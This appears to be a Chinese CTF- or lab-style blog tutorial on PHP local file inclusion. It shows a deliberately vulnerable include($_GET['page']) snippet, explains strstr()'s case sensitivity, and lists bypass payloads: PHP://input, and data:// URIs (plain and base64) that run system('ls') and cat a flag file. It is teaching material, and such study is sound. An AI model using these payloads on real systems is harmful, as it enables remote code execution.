文件包含

0x01 函数分析

<?phpshow_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {  
  $page=str_replace("php://", "", $page);
  }
  include($page);?>

strstr():
定义和用法:搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分,否则返回false。
strstr()区分大小写,stristr()函数不区分大小写
因此可以用大小写绕过
语法:
strstr(string,search,before_search)
string:必需,被搜索的字符串
search:必需,要搜索的字符串,若是数字,则搜索对应的ASCII值的字符
before_search:可选,默认为“false”,若为true,将返回search参数第一次出现之前的字符串部分

//实例
<?phpecho strstr("helloworld","wor"),PHP_EOL;
echo strstr("helloworld","wor",true),PHP_EOL;
echostrstr("Helloworld!",111),PHP_EOL;//111ASCIIO
$a=strstr("Helloworld!",'ooo',true);
var_dump($a);
$b=strstr("Helloworld!",'ooo');
var_dump($b);
?>
world
hello
oworld!
bool(false)
bool(false)

str_replace():
定义和用法:以其它字符替换字符串中的一些字符(区分大小写)

0x02

文件包含的函数

include()
require()
include_once()
require_once()
highlight_file ()
show_source ()
readfile()
file_get_contents ()
fopen()file()

0x03
1.大小写绕过
strstr()函数是区分大小写的,因此PHP://input

2.换其他协议
data://
用法:data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)


?page=data://text/plain,<?php system("ls") ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= //base64编码
?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
需注意 <?system('cat fl4gisisish3r3.php');?> 的结果返回在页面源码中,需查看页面源码才能看 到。

3.php://input 抓包post请求
注:当 enctype=“multipart/form-data” 时,php://input 是无效的。
url: http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
post: <?php phpinfo(); ?>在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值